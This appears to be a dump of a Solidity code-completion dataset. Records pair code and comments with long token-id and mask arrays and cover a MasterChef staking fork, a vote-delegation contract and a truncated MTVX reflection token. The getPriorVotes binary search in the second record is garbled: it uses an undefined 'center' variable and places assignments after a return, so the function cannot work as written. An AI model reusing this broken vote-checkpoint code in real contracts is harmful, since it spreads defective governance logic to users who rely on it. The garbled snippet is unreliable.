// Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SUSHI mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( LobToken _sushi, address _devaddr, uint256 _sushiPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { sushi = _sushi; devaddr = _devaddr; sushiPerBlock = _sushiPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSushiPerShare: 0 }) ); } // Update the given pool's SUSHI allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending SUSHIs on frontend. function pendingSushi(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSushiPerShare = pool.accSushiPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier( pool.lastRewardBlock, block.number ); uint256 sushiReward = multiplier .mul(sushiPerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); accSushiPerShare = accSushiPerShare.add( sushiReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accSushiPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sushiReward = multiplier .mul(sushiPerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); sushi.mint(devaddr, sushiReward.div(10)); sushi.mint(address(this), sushiReward); pool.accSushiPerShare = pool.accSushiPerShare.add( sushiReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for SUSHI allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accSushiPerShare) .div(1e12) .sub(user.rewardDebt); safeSushiTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub( user.rewardDebt ); safeSushiTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe sushi transfer function, just in case if rounding error causes pool to not have enough SUSHIs. function safeSushiTransfer(address _to, uint256 _amount) internal { uint256 sushiBal = sushi.balanceOf(address(this)); if (_amount > sushiBal) { sushi.transfer(_to, sushiBal); } else { sushi.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
* @notice Determine the prior number of votes for an account as of a block number @dev Block number must be a finalized block or else this function will revert to prevent misinformation. @param account The address of the account to check @param blockNumber The block number to get the vote balance at @return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) { require( blockNumber < block.number, "LOB::getPriorVotes: not yet determined" ); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; }
8,017,731
[ 1, 8519, 326, 6432, 1300, 434, 19588, 364, 392, 2236, 487, 434, 279, 1203, 1300, 225, 3914, 1300, 1297, 506, 279, 727, 1235, 1203, 578, 469, 333, 445, 903, 15226, 358, 5309, 7524, 13117, 18, 225, 2236, 1021, 1758, 434, 326, 2236, 358, 866, 225, 1203, 1854, 1021, 1203, 1300, 358, 336, 326, 12501, 11013, 622, 327, 1021, 1300, 434, 19588, 326, 2236, 9323, 487, 434, 326, 864, 1203, 19, 5783, 866, 4486, 8399, 11013, 4804, 866, 10592, 3634, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1689, 2432, 29637, 12, 2867, 2236, 16, 2254, 5034, 1203, 1854, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 1203, 1854, 411, 1203, 18, 2696, 16, 203, 5411, 315, 6038, 2866, 588, 25355, 29637, 30, 486, 4671, 11383, 6, 203, 3639, 11272, 203, 203, 3639, 2254, 1578, 290, 1564, 4139, 273, 818, 1564, 4139, 63, 4631, 15533, 203, 3639, 309, 261, 82, 1564, 4139, 422, 374, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 1893, 4139, 63, 4631, 6362, 82, 1564, 4139, 300, 404, 8009, 2080, 1768, 1648, 1203, 1854, 13, 288, 203, 5411, 327, 26402, 63, 4631, 6362, 82, 1564, 4139, 300, 404, 8009, 27800, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 1893, 4139, 63, 4631, 6362, 20, 8009, 2080, 1768, 405, 1203, 1854, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 2254, 1578, 2612, 273, 374, 31, 203, 3639, 2254, 1578, 3854, 273, 290, 1564, 4139, 300, 404, 31, 203, 3639, 1323, 261, 5797, 405, 2612, 13, 288, 203, 5411, 25569, 3778, 3283, 273, 26402, 63, 4631, 6362, 5693, 15533, 203, 5411, 309, 261, 4057, 18, 2080, 1768, 422, 1203, 1854, 13, 288, 203, 7734, 327, 3283, 18, 27800, 31, 203, 7734, 2612, 273, 4617, 31, 203, 7734, 3854, 273, 4617, 300, 404, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 327, 26402, 63, 4631, 6362, 8167, 8009, 27800, 31, 2 ]
pragma solidity ^0.4.2; import "./Unitoken.sol"; import "./Owned.sol"; contract IDelegation{ function voteWeight(address) constant returns (uint); uint public numberOfRounds; } contract Delegation is IDelegation, Owned { IToken public _weightToken; mapping (address => uint) _voteWeight; mapping (address => uint) public _voterId; DelegatedVote[] public _delegatedVotes; uint public _delegatedPercent; uint public _lastCalculationTime; event ChangeOfRules( address tokenAddress, uint delegatedPercent ); event DelegationRoundFinished(uint roundNumber); struct DelegatedVote { address nominee; address voter; } function Delegation( address tokenAddress, uint percentLossInEachRound) { changeRules(tokenAddress, percentLossInEachRound); } function changeRules( address tokenAddress, uint percentLossInEachRound) onlyOwner { _weightToken = IToken(tokenAddress); _delegatedPercent = 100 - percentLossInEachRound; if (_delegatedPercent > 100) _delegatedPercent = 100; _delegatedVotes.length++; _delegatedVotes[0] = DelegatedVote({nominee: 0, voter: 0}); ChangeOfRules(tokenAddress, _delegatedPercent); } function voteWeight(address addr) constant returns (uint) { if(_voteWeight[addr] > 0 || _voterId[msg.sender] > 0){ // if user is principal or delegate return _voteWeight[addr]; } else{ return _weightToken.balanceOf(addr); } } function delegateVote(address nominatedAddress) returns (uint voteIndex) { if (_voterId[msg.sender] == 0) { _voterId[msg.sender] = _delegatedVotes.length; voteIndex = _delegatedVotes.length++; } else { voteIndex = _voterId[msg.sender]; } _delegatedVotes[voteIndex] = DelegatedVote({nominee: nominatedAddress, voter: msg.sender}); } function calculateVotes() { if (now > _lastCalculationTime + 90 minutes) { numberOfRounds = 0; _lastCalculationTime = now; // Distribute the initial weight for (uint i=1; i< _delegatedVotes.length; i++) { _voteWeight[_delegatedVotes[i].nominee] = 0; } for (i=1; i< _delegatedVotes.length; i++) { _voteWeight[_delegatedVotes[i].voter] = _weightToken.balanceOf(_delegatedVotes[i].voter); } } else { numberOfRounds++; uint lossRatio = 100 * _delegatedPercent ** numberOfRounds / 100 ** numberOfRounds; if (lossRatio > 0) { DelegatedVote v = _delegatedVotes[0]; for (i = 1; i < _delegatedVotes.length; i++){ v = _delegatedVotes[i]; if (v.nominee != v.voter && _voteWeight[v.voter] > 0) { _voteWeight[v.nominee] += _voteWeight[v.voter] * lossRatio / 100; _voteWeight[v.voter] = 0; } } } } DelegationRoundFinished(numberOfRounds); } /* This unnamed function is called whenever someone tries to send ether to it */ function () { throw; // Prevents accidental sending of ether } }
if user is principal or delegate
if(_voteWeight[addr] > 0 || _voterId[msg.sender] > 0){
5,548,158
[ 1, 430, 729, 353, 8897, 578, 7152, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 24899, 25911, 6544, 63, 4793, 65, 405, 374, 747, 389, 90, 20005, 548, 63, 3576, 18, 15330, 65, 405, 374, 15329, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-12-03 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract MTVX is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public marketingAddress; address payable public devAddress; address payable public liquidityAddress; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; bool public limitsInEffect = true; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 * 1e9 * 1e18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "MTVX"; string private constant _symbol = "MTVX"; uint8 private constant _decimals = 18; // these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract. uint256 private _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 private _marketingFee; uint256 private _liquidityFee; uint256 private _previousLiquidityFee = _liquidityFee; uint256 private constant BUY = 1; uint256 private constant SELL = 2; uint256 private constant TRANSFER = 3; uint256 private buyOrSellSwitch; uint256 public _buyTaxFee = 300; uint256 public _buyLiquidityFee = 500; uint256 public _buyMarketingFee = 400; uint256 public _sellTaxFee = 300; uint256 public _sellLiquidityFee = 500; uint256 public _sellMarketingFee = 400; uint256 public tradingActiveBlock = 0; // 0 means trading is not active uint256 public _liquidityTokensToSwap; uint256 public _marketingTokensToSwap; uint256 public maxTransactionAmount; mapping (address => bool) public _isExcludedMaxTransactionAmount; bool private gasLimitActive = true; uint256 private gasPriceLimit = 475 * 1 gwei; // do not allow over x gwei for launch // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; uint256 private minimumTokensBeforeSwap; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public tradingActive = false; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event SwapETHForTokens(uint256 amountIn, address[] path); event SwapTokensForETH(uint256 amountIn, address[] path); event SetAutomatedMarketMakerPair(address pair, bool value); event ExcludeFromReward(address excludedAddress); event IncludeInReward(address includedAddress); event ExcludeFromFee(address excludedAddress); event IncludeInFee(address includedAddress); event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee); event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee); event TransferForeignToken(address token, uint256 amount); event UpdatedMarketingAddress(address marketing); event UpdatedLiquidityAddress(address liquidity); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { address newOwner = address(msg.sender); _rOwned[newOwner] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); // lowered due to lower initial liquidity amount. maxTransactionAmount = _tTotal * 5 / 1000; // 0.5% maxTransactionAmountTxn minimumTokensBeforeSwap = _tTotal * 5 / 10000; // 0.05% swap tokens amount marketingAddress = payable(0xc94930B77f54361857D35c5FdcDB9bE040F8474D); // Marketing Address liquidityAddress = payable(address(0xdead)); // Liquidity Address _isExcludedFromFee[newOwner] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingAddress] = true; _isExcludedFromFee[liquidityAddress] = true; excludeFromMaxTransaction(newOwner, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromReward(address(this)); emit Transfer(address(0), newOwner, _tTotal); transferOwnership(newOwner); } function name() external pure returns (string memory) { return _name; } function symbol() external pure returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address 